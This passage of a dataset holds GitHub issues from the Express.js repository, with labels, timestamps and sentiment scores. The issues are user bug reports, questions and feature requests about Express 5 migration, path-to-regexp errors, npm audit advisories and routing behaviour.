A confirmation of whether this is a bug or expected behaviour would be appreciated so I know what changes I should expect to make while upgrading.",bug,2024-09-13 07:59:10+00:00,2024-09-13 08:06:28+00:00,1,bug,0.0051,with json middleware is on empty post in express hello i m currently going through the express update for a few projects an issue i m encountering is is coming in as using the json middleware when it is expected to be an empty object as mentioned in the docs i m unsure if this is a bug or the docs have simply not been updated since it still says beta and couldn t find any related issues around this reproduction sample invoked with a confirmation of whether this is a bug or expected behaviour would be appreciated so i know what changes i should expect to make while upgrading,bug,-0.743
expressjs/express,2523531312,Express V5 or 4.21.0???,"What is the correct version?

YouTubers and others say Express V5 is out, but GitHub, and the official webpage have not confirmed.

On GitHub, it says: 4.21.0 release today

On commit says 5.0.0 3 day ago

On the website, it says: 4.19.2 and Express V5 beta

So, What is  correct?
![Screenshot 2024-09-12 at 17-32-30 Release 4 21 0 · expressjs_express](https://github.com/user-attachments/assets/7c1c2d11-681f-46ce-8252-9607f543cdbe)
![Screenshot 2024-09-12 at 17-31-26 Express - Node js web application framework](https://github.com/user-attachments/assets/fbf2d7c3-3db1-457d-94c3-57c2762b7fd6)
![Screenshot 2024-09-12 at 17-30-55 expressjs_express Fast unopinionated minimalist web framework for node](https://github.com/user-attachments/assets/d2193e94-8270-4541-9718-837e8565862e)
",question,2024-09-12 23:38:47+00:00,2024-09-12 23:52:30+00:00,1,question,0.0095,express v or what is the correct version youtubers and others say express v is out but github and the official webpage have not confirmed on github it says release today on commit says day ago on the website it says and express v beta so what is correct screenshot at release expressjs express screenshot at express node js web application framework screenshot at expressjs express fast unopinionated minimalist web framework for node,help,0.7783
expressjs/express,2522128125,Crash after starting using version 4.21.0,"I just updated express to fix the latest reported CVEs, but the last version (4.21.0) is now causing crashes when loading express.

Crash happens when I call this:
`const express = require(""express"")`

Error is:
```
...\node_modules\path-to-regexp\index.js:68
  path = path.replace(
              ^

TypeError: path.replace is not a function
    at pathToRegexp (...\node_modules\path-to-regexp\index.js:68:15)
    at new Layer (...\node_modules\express\lib\router\layer.js:45:17)
    at Function.route (...\node_modules\express\lib\router\index.js:505:15)
    at app.<computed> [as put] (...\node_modules\express\lib\application.js:498:30)
    at Object.<anonymous> (...\js\index.js:69:9)
    at Module._compile (node:internal/modules/cjs/loader:1254:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1308:10)
    at Module.load (node:internal/modules/cjs/loader:1117:32)
    at Module._load (node:internal/modules/cjs/loader:958:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
``` 

I realize this is not the express library, but express is the only user of `path-to-regexp` in my application, so it can't be any other culprit.

The exact same code on my side runs fine using for example express 4.19.2.
",,2024-09-12 11:27:42+00:00,2024-10-10 00:05:40+00:00,45,nan,27.5264,crash after starting using version i just updated express to fix the latest reported cves but the last version is now causing crashes when loading express crash happens when i call this error is i realize this is not the express library but express is the only user of in my application so it can t be any other culprit the exact same code on my side runs fine using for example express,bug,-0.8957
expressjs/express,2520575665,Static Routes not passing in 5.0.0,"My testing infrastructure is failing to pass on static route checks.

```
        router.get('/', (req, res) => {
            this.rapidApi(res);
        });

[snip]

    rapidApi(res){
        res.writeHead(302, {
            'Location': 'https://example.com,
        });
        res.end();
    }

```

error:

```
FAIL src/homepage.test.js (6.23 s)
  ● GET / › should respond with 302
    TypeError: argument callback is required
      at Function.handle (node_modules/router/index.js:150:11)
      at Server.router (node_modules/router/index.js:59:12)
  ● GET / › should respond with 302
    thrown: ""Exceeded timeout of 5000 ms for a test.
    Add a timeout value to this test to increase the timeout, if this is a long-running test. See https://jestjs.io/docs/api#testname-fn-timeout.""
      4 |
      5 | describe('GET /', () => {
    > 6 |     test(""should respond with 302"", async () => {
        |     ^
      7 |         const response = await request(app).get('/')
      8 |         expect(response.statusCode).toBe(302);
      9 |     });
      at test (src/homepage.test.js:6:5)
      at Object.describe (src/homepage.test.js:5:1)
A worker process has failed to exit gracefully and has been force exited. This is likely caused by tests leaking due to improper teardown. Try running with --detectOpenHandles to find leaks. Active timers can also cause this, ensure that .unref() was called on them.

```

Was something changed in 5.0.0 that requi... [TRUNCATED]",bug,2024-09-11 19:17:34+00:00,2024-09-11 22:01:17+00:00,4,bug,0.1137,static routes not passing in my testing infrastructure is failing to pass on static route checks error was something changed in that requi truncated,bug,-0.743
expressjs/express,2520476511,Vulnerability in serve-static that just got a fix,"Hi,

I have vulnerabilities scan as part of my CI/CD process.
I'm getting this vulnerability report on your latest package (4.20.0):
![image](https://github.com/user-attachments/assets/f68adce3-0d5e-4925-9452-f194f45b14ee)

I went to the serve-static github and just saw that they published a fix for this exact vulnerability 1 hour ago.
Will it be possible for you to publish a new patch version that will include this fix?

Thanks,
Ori Panush. ",,2024-09-11 18:39:52+00:00,2024-09-11 18:42:37+00:00,3,nan,0.0019,vulnerability in serve static that just got a fix hi i have vulnerabilities scan as part of my ci cd process i m getting this vulnerability report on your latest package image i went to the serve static github and just saw that they published a fix for this exact vulnerability hour ago will it be possible for you to publish a new patch version that will include this fix thanks ori panush,bug,0.6249
expressjs/express,2518755001,Express 5.0.0 Route with regex not working,"We have created simple express application with following code 

```

const express = require('express')
const app = express()
const port = 4000

function logErrors(err, req, res, next) {
    console.error(err.stack)
    next(err)
}

function clientErrorHandler(err, req, res, next) {
    if (req.xhr) {
        res.status(500).send({ error: 'Something failed!' })
    } else {
        next(err)
    }
}
function errorHandler (err, req, res, next) {
   
    res.status(err.statusCode || 500)
    res.json({ message: err.message || ""something wrong"" })
}

app.get('/', async (req, res) => {
    await Promise.reject({""message"":""dsfjh"", statusCode: 400})
    res.status(200).send(""asfas"")
})

app.get('/[discussion|page]/:slug', async (req, res) => {
    throw {statusCode: 400, message: ""harish""}
    res.status(200).send(""asfas"")
})


app.use(logErrors)
app.use(clientErrorHandler)
app.use(errorHandler)

app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
})

```

It is throwing following error 

```

~/express5/node_modules/path-to-regexp/dist/index.js:136
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected [ at 1, expected END: https://git.new/pathToRegexpError
    at Iter.consume (~/express5/node_modules/path-to-regexp/dist/index.js:136:15)
    at consume (~/express5/node_modules/path-to-regexp/dist/index.js:193:16)
    ... [TRUNCATED]",5.x,2024-09-11 07:08:51+00:00,2024-09-16 10:10:23+00:00,13,5.x,5.1261,express route with regex not working we have created simple express application with following code it is throwing following error express node modules path to regexp dist index js throw new typeerror typeerror unexpected at expected end at iter consume express node modules path to regexp dist index js at consume express node modules path to regexp dist index js truncated,others,-0.25
expressjs/express,2518505725,npm audit fail on last Express version (4.20.0) due to send(0.19.0) vulnerability,"Bug Report: npm audit fails on latest Express version (4.20.0) due to send(0.19.0) vulnerability

Issue Description

Running npm audit on the latest version of Express (4.20.0) fails due to a moderate severity vulnerability in send (<0.19.0).


Here’s the relevant output from npm audit:

# npm audit report send <0.19.0
Severity: moderate
send vulnerability to template injection can lead to XSS - http://github.com/advisories/GHSA-m6fv-jmcg-4jfg
No fix available

Steps to reproduce

npm install express --save


",bug,2024-09-11 05:18:15+00:00,2024-09-11 17:44:26+00:00,4,bug,0.5182,npm audit fail on last express version due to send vulnerability bug report npm audit fails on latest express version due to send vulnerability issue description running npm audit on the latest version of express fails due to a moderate severity vulnerability in send here s the relevant output from npm audit npm audit report send severity moderate send vulnerability to template injection can lead to xss no fix available npm install express save,bug,-0.9136
expressjs/express,2517049110,Does the v5.0.0 tag mean a release is coming?,"Edge of my seat here...

Edit: My question is specifically, what does this mean?

https://github.com/expressjs/express/releases/tag/v5.0.0
",question,2024-09-10 17:15:51+00:00,2024-09-10 18:16:46+00:00,1,question,0.0423,does the v tag mean a release is coming edge of my seat here edit my question is specifically what does this mean,help,0.0
expressjs/express,2516986491,Express v4 -> v5 Migration,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

Copied from [my comment](https://github.com/expressjs/express/pull/2237#issuecomment-2340006831) in the [Release 5.0 PR](https://github.com/expressjs/express/pull/2237):

Maybe I missed a v5 planning document somewhere - I'm looking for a few details to help determine how and when to migrate our projects:

1. When is it planned that `express@5.0.0` be published to the npm `latest` tag?
2. Is there a plan to publish an Express v4 -> v5 Migration Guide? (or a visible list of breaking changes with short suggestions about what to do about them) The closest thing that I can see is [this small `breaking` note in `History.md`](https://github.com/expressjs/express/blob/5.x/History.md#500--2024-09-10:~:text=path.isAbsolute%20instead-,breaking%3A,-res.status())
3. What's the cu... [TRUNCATED]","5.x,question",2024-09-10 16:53:54+00:00,2025-04-01 15:52:55+00:00,28,"5.x,question",202.9577,express v v migration we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the node js slack community s express js channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown without seeing what your code looks like we won t be able to help you very much more is better when it comes to sharing code samples if you re having a problem copied from my comment in the release pr maybe i missed a v planning document somewhere i m looking for a few details to help determine how and when to migrate our projects when is it planned that be published to the npm tag is there a plan to publish an express v v migration guide or a visible list of breaking changes with short suggestions about what to do about them the closest thing that i can see is this small note in what s the cu truncated,help,0.9768
expressjs/express,2516825327,Mismatched dependency versions,"I propose:
- https://github.com/expressjs/express/pull/5949
- https://github.com/expressjs/serve-static/pull/178

Please see:

https://github.com/expressjs/express/commit/ec4a01b6b8814d7b007f36a3023f4dbafdbc3d09#commitcomment-146499333
> Please sync `""qs"": ""6.11.0"",` to the actual version `""body-parser"": ""1.20.3"",` is using which is `""qs"": ""6.13.0"",`

https://github.com/expressjs/express/commit/4c9ddc1c47bf579e55c2fe837d76a952e9fd8959#commitcomment-146501448
> You should also bump `send` within `""serve-static"": ""1.16.0"",` .
> express requires `""send"": ""0.19.0"",` but `""serve-static"": ""1.16.0"",` requires `""send"": ""0.18.0""`,

So, bump where applicable the following two packages:
```
    ""qs"": ""6.13.0"",
    ""send"": ""0.19.0"",
```

My two cents.

Related:
- https://github.com/expressjs/express/issues/5947
- https://github.com/expressjs/serve-static/issues/175
- https://github.com/expressjs/express/pull/5946
- https://github.com/expressjs/serve-static/pull/176

Linking more related issues:
- https://github.com/pillarjs/send/issues/237
- https://github.com/pillarjs/send/issues/238
- https://github.com/pillarjs/send/issues/239","bug,4.x",2024-09-10 15:45:06+00:00,2024-09-11 22:30:06+00:00,15,"bug,4.x",1.2812,mismatched dependency versions i propose please see please sync to the actual version is using which is you should also bump within express requires but requires so bump where applicable the following two packages my two cents related linking more related issues,bug,0.3182
expressjs/express,2516749289,[v5] Suggestion for migrating wildcard paths handling,"Due to the updates on router and path-to-regex, handling wildcard routes requires a bit of work on the parameters to bring them back to the same values v4 produces when matching routes.

I found this code should work similarly and may help people migrate their routes if they expect variable file / folder paths:

```javascript
import { join, sep } from 'path/posix';

function normalizeWildcardParamToPath(segments) {
  if (!Array.isArray(segments)) {
    return;
  }

  const _segments = segments.map((segment) => segment === '' ? sep : segment);

  return join(..._segments);
}

app.get([ '/files/', '/files/*param0' ], (req, res) => {
  const requestPath = normalizeWildcardParamToPath(req.params.param0) || sep;
  ...
});
```

I thought simply using `join()` would be enough, but when matching folders (e.g, `/files/folder/`), `req.params.param0` would be `[ 'folder', '' ]` and `join()` ignores the empty string value 😩 ",,2024-09-10 15:12:10+00:00,2024-09-10 15:15:58+00:00,0,nan,0.0026,v suggestion for migrating wildcard paths handling due to the updates on router and path to regex handling wildcard routes requires a bit of work on the parameters to bring them back to the same values v produces when matching routes i found this code should work similarly and may help people migrate their routes if they expect variable file folder paths i thought simply using would be enough but when matching folders e g would be and ignores the empty string value,others,0.2382
expressjs/express,2516067998,[DEPLOY-ERROR] - TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError - Firebase Functions Project - Updated to Version 5 - Firebase Deploy Failed,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

[DEPLOY-ERROR] - TypeError: Missing parameter name at 1: https://git.new/pathToRegexpError - Firebase Functions Project - Updated to Version 5 - Firebase Deploy Failed



<img width=""1407"" alt=""Screenshot 2024-09-10 at 3 37 19 PM"" src=""https://github.com/user-attachments/assets/e0bc4432-c23d-4b2f-b6bb-a4b8229e8a64"">


kingsman97:functions ahsan$ nmr deploy:specific

> deploy:specific
> npm run pre-deploy && firebase deploy --only functions:get_generic_in_app_notifications,functions:get_user_role_specific_in_app_notifications,functions:get_user_specific_in_app_notifications


> pre-deploy
> npm run unlink-packages


> unlink-packages
> yarn unlink zaions-tool-kit && yarn unlink zaions-express-tool-kit && yarn install --force

yarn unlink v1.22.22
success Removed linked package ""zaions-tool-kit"".
info You will need to run `yarn install --force` to re-install the package that was linked.
✨  Done in 0.04s.
yarn unlink v1.22.22
success Removed linked package ""zaions-express-tool-kit"".
info You will need to run `yarn install --force` to re-install the package that was linked.
✨  Done in 0.05s.
yarn install v1.22.22
[1/5] 🔍  Validating package.json...
[2/5] 🔍  Resolving packages...
[3/5] 🚚  Fetching packages...
[4/5] 🔗  Linking dependencies.... [TRUNCATED]",bug,2024-09-10 10:37:34+00:00,2024-10-23 20:28:04+00:00,17,bug,43.4101,deploy error typeerror missing parameter name at firebase functions project updated to version firebase deploy failed the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix deploy error typeerror missing parameter name at firebase functions project updated to version firebase deploy failed img width alt screenshot at pm src kingsman functions ahsan nmr deploy specific deploy specific npm run pre deploy firebase deploy only functions get generic in app notifications functions get user role specific in app notifications functions get user specific in app notifications pre deploy npm run unlink packages unlink packages yarn unlink zaions tool kit yarn unlink zaions express tool kit yarn install force yarn unlink v success removed linked package zaions tool kit info you will need to run to re install the package that was linked done in s yarn unlink v success removed linked package zaions express tool kit info you will need to run to re install the package that was linked done in s yarn install v validating package json resolving packages fetching packages linking dependencies truncated,bug,-0.5267
expressjs/express,2515072076,npm audit fails on latest Express version (4.19.2) due to path-to-regexp vulnerability,"# Bug Report: `npm audit` fails on latest Express version (4.19.2) due to `path-to-regexp` vulnerability

## Issue Description

Running `npm audit` on the latest version of Express (`4.19.2`) fails due to a high severity vulnerability in `path-to-regexp` (<0.1.10).

The audit suggests downgrading to `express@3.21.2` to resolve the issue, which introduces breaking changes. This presents a challenge for projects relying on version `4.x` of Express.

Here’s the relevant output from `npm audit`:

```bash
# npm audit report

path-to-regexp  <0.1.10
Severity: high
path-to-regexp outputs backtracking regular expressions - https://github.com/advisories/GHSA-9wv6-86v2-598j
fix available via `npm audit fix --force`
Will install express@3.21.2, which is a breaking change
node_modules/path-to-regexp
  express  4.0.0-rc1 - 5.0.0-alpha.6
  Depends on vulnerable versions of path-to-regexp
  node_modules/express

2 high severity vulnerabilities
```

## Steps to reproduce
```bash
npm install express --save
```

## Expected Behavior

npm audit should not require downgrading to a previous major version of Express, especially one with breaking changes.

## Actual Behavior

The audit report suggests downgrading to express@3.21.2, which would break compatibility with projects using Express 4.x.",bug,2024-09-09 23:00:04+00:00,2024-09-09 23:08:44+00:00,1,bug,0.006,npm audit fails on latest express version due to path to regexp vulnerability bug report fails on latest express version due to vulnerability issue description running on the latest version of express fails due to a high severity vulnerability in the audit suggests downgrading to to resolve the issue which introduces breaking changes this presents a challenge for projects relying on version of express here s the relevant output from npm audit should not require downgrading to a previous major version of express especially one with breaking changes the audit report suggests downgrading to express which would break compatibility with projects using express x,bug,-0.9062
expressjs/express,2507497498,Express * no longer works (v5.0.0-beta.3),"After npm updated Express to the latest version, * in requests stopped working:

```
        this.expressApp.get('/*', (req, res, next) => {
            console.log(req.url)
            if (req.url.startsWith(""/api"")) {
                next();
                return
            }
            res.sendFile(path.join(__dirname, '..', '..', 'build', 'index.html'));
        });
```
console.log was never logged, and I was just getting 'Cannot GET /'
or another example,
```
        this.expressApp.get('*',(req,res) => console.log(""GET* "" + req.url))
        this.expressApp.get('/',(req,res) => console.log(""GET/ "" + req.url))
        this.expressApp.get('',(req,res) => console.log(""GET "" + req.url))
```
only on https://url.com/ logs out GET/, else says Cannot GET ...

After downgrading to 4.19.2 it all started working, and in above example it started logging GET* on any url. Before it was Cannot GET ...
",bug,2024-09-05 11:17:31+00:00,2024-09-05 14:16:22+00:00,2,bug,0.1242,express no longer works v beta after npm updated express to the latest version in requests stopped working console log was never logged and i was just getting cannot get or another example only on logs out get else says cannot get after downgrading to it all started working and in above example it started logging get on any url before it was cannot get,bug,-0.4767
expressjs/express,2506844679,Special characters are replaced by Replacement Character in all Rest and GraphQL communication,"GET and GraphQL calls (received by and send from our backend) suddenly contain replacement characters for special chars (German ä,ü,ö, the paragraph char,...).
This behaviour started last last week Monday in multiple microservices. Logs show that just before  json/request answers are returned, the text is as it should be. 
What is weird is that this behaviour starts showing after about 30 minutes give or take. When the kubernetes pod is restarted it works again (no replacement chars) until it doesn't.
We compared the package versions in the faulty release of our service with the last working release and the only package that changed was axios (see list below). We tried running a service with the old (and working) axios version but the error still happens.

We are using the same express version (4.19.2) for a long time and this just started happening. I assume it is one of its dependencies but have no clue how to figure out which one it is.
I have installed Express versions 4.18.2 and 4.17.2 in our services and they run as expected (no errors). The following is a list of all packages that our microservice uses:

```
+-- @types/axios@0.14.0
+-- @types/cookie-session@2.0.49
+-- @types/cors@2.8.17
+-- @types/express@4.17.21
+-- @types/jest@29.5.12
+-- @types/js-yaml@4.0.9
+-- @types/jsonwebtoken@8.5.9
+-- @types/pg-format@1.0.5
+-- @types/pg@8.11.8
+-- @types/uuid@8.3.4
+-- axios@1.7.7
+-- cookie-session@1.4.0
+-- cors@2.8.5
+-- express-async-errors@3.1.1
+... [TRUNCATED]",bug,2024-09-05 06:01:27+00:00,2024-09-05 14:26:11+00:00,0,bug,0.3505,special characters are replaced by replacement character in all rest and graphql communication get and graphql calls received by and send from our backend suddenly contain replacement characters for special chars german the paragraph char this behaviour started last last week monday in multiple microservices logs show that just before json request answers are returned the text is as it should be what is weird is that this behaviour starts showing after about minutes give or take when the kubernetes pod is restarted it works again no replacement chars until it doesn t we compared the package versions in the faulty release of our service with the last working release and the only package that changed was axios see list below we tried running a service with the old and working axios version but the error still happens we are using the same express version for a long time and this just started happening i assume it is one of its dependencies but have no clue how to figure out which one it is i have installed express versions and in our services and they run as expected no errors the following is a list of all packages that our microservice uses types axios types cookie session types cors types express types jest types js yaml types jsonwebtoken types pg format types pg types uuid axios cookie session cors express async errors truncated,bug,-0.9403
expressjs/express,2505497383,"ERROR: Refused to apply style from 'http://localhost:3000/main.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.","### ERROR: Refused to apply style from 'http://localhost:3000/main.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.


**CSS** style doesn't apply to static server and I have done everything humanely and technically possible still yet, CSS style doesn't reflect.
I got rid of the error at some point but the CSS style didn't still reflect.\
Please help!

```
app.use(""/public"", express.static(path.join(__dirname, 'noder')));

app.get('/', (req,res)=>{
        res.sendFile(path.join(__dirname,'noder','index.html'))
});
```
`<link rel=""stylesheet""  href=""/css/main.css"" type=""text/css""/>`
`<link rel=""stylesheet""  href=""main.css"">`
`<link  href=""main.css"" type=""text/css""/>`
`<link  href=""/public/css/main.css"" type=""text/css""/>`

In my `index.html` I have used those linking codes.

I have also used the `/public/ ` type but it still didn't budge.
**Please help!**",question,2024-09-04 14:13:38+00:00,2024-09-04 14:15:01+00:00,0,question,0.001,error refused to apply style from because its mime type text html is not a supported stylesheet mime type and strict mime checking is enabled error refused to apply style from because its mime type text html is not a supported stylesheet mime type and strict mime checking is enabled css style doesn t apply to static server and i have done everything humanely and technically possible still yet css style doesn t reflect i got rid of the error at some point but the css style didn t still reflect please help in my i have used those linking codes i have also used the type but it still didn t budge please help,bug,0.7039
expressjs/express,2494406909,Requests not being forwarded via corporate proxy,"I've put together an ExpressJS proxy server, that uses [http-proxy-middleware](https://www.npmjs.com/package/http-proxy-middleware)  - the user will make a request to our proxy server, which will then make a subsequent request to the destination that we want to go to. The proxy server works fine, but only when I'm working from home, but does not work when I'm in the office.

We have a corporate proxy that is set up on all workstations, and my installed Node instance has both `https-proxy` and `proxy` config settings set up as you can see below:

```
PS C:\MobileDevTesting\express-server2> npm config list
npm WARN config global `--global`, `--local` are deprecated. Use `--location=global` instead.
; ""global"" config from C:\Program Files\nodejs\etc\npmrc

; https-proxy = ""http://prox.org.com:9090/"" ; overridden by user
; proxy = ""http://prox.org.com:9090/"" ; overridden by user 
```

When I use the proxy server from home, works great - no issues, but does not work in the office. My colleague has confirmed that the request does not appear to be going through our proxy (_http://prox.org.com:9090_), and is just trying to go directly to the internet. This request is then blocked by our firewall.

I had assumed that because we had set up the proxy and https-proxy settings in Node, that that would handle this itself but appears not to be the case. We cannot also whitelist the address of the request as it changes regularly.

Is this the correct behaviour from Node/Expr... [TRUNCATED]",question,2024-08-29 13:12:43+00:00,2024-08-29 13:16:21+00:00,0,question,0.0025,requests not being forwarded via corporate proxy i ve put together an expressjs proxy server that uses http proxy middleware the user will make a request to our proxy server which will then make a subsequent request to the destination that we want to go to the proxy server works fine but only when i m working from home but does not work when i m in the office we have a corporate proxy that is set up on all workstations and my installed node instance has both and config settings set up as you can see below when i use the proxy server from home works great no issues but does not work in the office my colleague has confirmed that the request does not appear to be going through our proxy and is just trying to go directly to the internet this request is then blocked by our firewall i had assumed that because we had set up the proxy and https proxy settings in node that that would handle this itself but appears not to be the case we cannot also whitelist the address of the request as it changes regularly is this the correct behaviour from node expr truncated,feature,0.4118
expressjs/express,2491175437,Requests to my express app gets handled in a sync way (instead of async),"```
const express = require(""express"");

const app = express();

app.all('*', async (req, res) => {
    const reqStartTime = Date.now();
    const random = Math.floor(Math.random() * 10);
    console.log(""req received "", req.path, "" startTime "", reqStartTime, "" randomNum "", random);
    if (random > 5) {
        const promise = new Promise((resolve) => {
            setTimeout(resolve, random * 1000);
        });
        await promise;
    }
    console.log(""completed "", req.path, "" "", Date.now() - reqStartTime);
    res.send('Hiiiiiiiii');
});

app.listen(3001, () => {
    console.log(""Server is running on port 3001"");
});
```

This is my basic express app. When I start the server and hit localhost:3001 in my browser for the first time(lets say 8 seconds) it waits for 8 seconds before sending the response.. but if i hit the same request in another tab (irrespective of the random timeout generated), my second request waits until the first one completes and then gets resolved..

Any issues with my code? or am I missing something?
node version - 18.14.2 & npm version - 9.5.0",question,2024-08-28 06:26:23+00:00,2024-08-29 13:10:27+00:00,2,question,1.2806,requests to my express app gets handled in a sync way instead of async this is my basic express app when i start the server and hit localhost in my browser for the first time lets say seconds it waits for seconds before sending the response but if i hit the same request in another tab irrespective of the random timeout generated my second request waits until the first one completes and then gets resolved any issues with my code or am i missing something node version npm version,feature,-0.1901
expressjs/express,2477811902,Uncaught exception causes Express to set to undefined basic request parameters,"Consider this code:

```js
const express = require('express')
const app = express()
const port = 3000

app.get('/foo/:bar', (req, res) => {
  res.on('finish', () => console.log('onFinish: ' + req.params.bar));
  // uncaught exception
  'nothing' in undefined;
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

`curl http://localhost:3000/foo/blablabla` will cause Express to:

1. Send HTTP 500 (expected)
2. Crash (not expected) 

==> `TypeError: Cannot read properties of undefined (reading 'bar')`

After the uncaught exception, `req.params` is `undefined` (among other req parameters, not listed here). Thus, trying to access `bar` from `undefined` is also an exception, causing the server to crash and terminate. 

Looks like Express ""clears"" some variables in the `req` object.",discuss,2024-08-21 11:37:36+00:00,2024-08-21 13:08:52+00:00,4,discuss,0.0634,uncaught exception causes express to set to undefined basic request parameters consider this code will cause express to send http expected crash not expected after the uncaught exception is among other req parameters not listed here thus trying to access from is also an exception causing the server to crash and terminate looks like express clears some variables in the object,feature,-0.7351
expressjs/express,2455359160,204 in HTTP or HTTPS,"when i use node.js and Django to create my app, when i set response with status code 204 with some content in Chrome, if the url begin with https, it will response pending on the web and it do not return any thing, but when i use http://localhost:8080, it will return 204 with other content, Why is it that this non-compliant request can get a response over HTTP, but is restricted over HTTPS?",question,2024-08-08 09:47:16+00:00,2024-08-08 15:38:20+00:00,4,question,0.2438,in http or https when i use node js and django to create my app when i set response with status code with some content in chrome if the url begin with https it will response pending on the web and it do not return any thing but when i use it will return with other content why is it that this non compliant request can get a response over http but is restricted over https,help,-0.431
expressjs/express,2446242616,Feat: Adding in built dotenv support for enviroment variables to speed up development setup,"Been using expressjs for around 3-4 years as my primary tech stack to develop rest apis in nodejs enviroment and I always find it a bit repetitive to setup dotenv using a npm package and wonder why there's no in built support for env variables like in nextjs or vite+reactjs, etc. I'll like to add this feature in the repo to speed up the development setup.",,2024-08-03 08:34:11+00:00,2024-08-05 17:17:32+00:00,5,nan,2.3634,adding in built dotenv support for enviroment variables to speed up development setup been using expressjs for around years as my primary tech stack to develop rest apis in nodejs enviroment and i always find it a bit repetitive to setup dotenv using a npm package and wonder why there s no in built support for env variables like in nextjs or vite reactjs etc i ll like to add this feature in the repo to speed up the development setup,feature,0.7351
expressjs/express,2446241322,Why there is no in built dotenv support in expressjs app ? ,"Been using expressjs for around 3-4 years as my primary tech stack to develop rest apis in nodejs enviroment and I always find it a bit repetitive to setup dotenv using a npm package and wonder why there's no in built support for env variables like in nextjs or vite+reactjs, etc.

Is there anything like this and if I'll love to know why ? And if possible I'll like to add this feature in the repo to speed up the development setup,
cheers",question,2024-08-03 08:30:30+00:00,2024-08-03 12:33:20+00:00,2,question,0.1686,why there is no in built dotenv support in expressjs app been using expressjs for around years as my primary tech stack to develop rest apis in nodejs enviroment and i always find it a bit repetitive to setup dotenv using a npm package and wonder why there s no in built support for env variables like in nextjs or vite reactjs etc is there anything like this and if i ll love to know why and if possible i ll like to add this feature in the repo to speed up the development setup cheers,help,0.93
expressjs/express,2427224219,(Low) Aikido Vulnerability > path-to-regex,"Aikido reports vulnerability to us because of your path-to-regex dependency version. 
https://security.aikido.dev/cve/AIKIDO-2024-10181
Update your (peer)dependencies to use path-to-regex 7.1.0

# TL;DR
The patched version adds a strict option to detect potential ReDOS issues. The worst case impact for these vulnerabilities can be ""Attacker can trigger DOS-attack via regex"".

# Aikido recommends
Upgrade path-to-regexp library to patch version (7.1.0) and use the 'strict: true' option.",,2024-07-24 10:40:32+00:00,2024-09-10 16:21:17+00:00,4,nan,48.2366,low aikido vulnerability path to regex aikido reports vulnerability to us because of your path to regex dependency version update your peer dependencies to use path to regex tl dr the patched version adds a strict option to detect potential redos issues the worst case impact for these vulnerabilities can be attacker can trigger dos attack via regex aikido recommends upgrade path to regexp library to patch version and use the strict true option,others,-0.9136
expressjs/express,2410931005,Requesting to nominate IamLizu as a triager,"I have been working with Express.js extensively in my professional career and have a deep appreciation for the project. 

By becoming a triager, I aim to give back to the community that has provided me with such a valuable tool. I am dedicated to helping manage and organize the repository, assisting with issue tracking, and supporting contributors to ensure the project's continued success. 

Additionally, I have a strong desire to contribute to solving issues soon, with the help and guidance of the team, so that I can learn and become more effective in my contributions.",,2024-07-16 11:44:28+00:00,2024-07-16 16:37:07+00:00,0,nan,0.2032,requesting to nominate iamlizu as a triager i have been working with express js extensively in my professional career and have a deep appreciation for the project by becoming a triager i aim to give back to the community that has provided me with such a valuable tool i am dedicated to helping manage and organize the repository assisting with issue tracking and supporting contributors to ensure the project s continued success additionally i have a strong desire to contribute to solving issues soon with the help and guidance of the team so that i can learn and become more effective in my contributions,feature,0.9865
expressjs/express,2395415217,Confusing behavior of applying middleware to paths instead of routers,"It seems that middleware `use`d on routers doesn't get applied to routers themselves, but to paths on which those routers are `use`d.
The docs say:

> A router object is an isolated instance of middleware and routes.

But it doesn't really seem isolated.

Consider code like this:
```js
const router = express.Router();
const routerProtected = express.Router();
const nestedRouter = express.Router();
const nestedRouterProtected = express.Router();

routerProtected.use(authenticateMiddleware);
nestedRouterProtected.use(authenticateMiddleware);

app.use(""/api"", router);
app.use(""/api"", routerProtected); // Everything under /api will now use authenticateMiddleware!
app.use(""/api/nested"", nestedRouter);
app.use(""/api/nested"", nestedRouterProtected);
```

What I expected to happen is for that authentication middleware to only run for methods declared on routers which directly `use`d the middleware, i.e. `routerProtected` and `nestedRouterProtected`.

What actually happens is that once `app.use(""/api"", routerProtected)` runs, all methods declared from here on out under `/api` now have that middleware silently applied to them, including everything under `nestedRouter`, even though `nestedRouter` never `use`d that middleware.

Is this intended behavior?

express version used: `5.0.0-beta.3`","help wanted,5.x,question",2024-07-08 11:48:34+00:00,2024-07-23 12:49:19+00:00,10,"help wanted,5.x,question",15.0422,confusing behavior of applying middleware to paths instead of routers it seems that middleware d on routers doesn t get applied to routers themselves but to paths on which those routers are d the docs say a router object is an isolated instance of middleware and routes but it doesn t really seem isolated consider code like this what i expected to happen is for that authentication middleware to only run for methods declared on routers which directly d the middleware i e and what actually happens is that once runs all methods declared from here on out under now have that middleware silently applied to them including everything under even though never d that middleware is this intended behavior express version used,help,-0.4767
expressjs/express,2385276620,Feature Request: res.redirect() is able to send more than just GET requests,"Heyy devs of expressjs!

I'm making a simple website and ran into a bit of an issue. Essentially, my website has a list of campgrounds and each campground has a bunch of reviews. A user who is not logged in can still view each campground and the comments on them, but if they try to delete a particular review, they are redirected to the login page. After successful login, I want to redirect to DELETE /campgrounds/:campgroundID/comments/:commentID but unfortunately, res.redirect(...) only alows for GET requests.

This kind of a feature would be super helpful, thanks in advance!!!

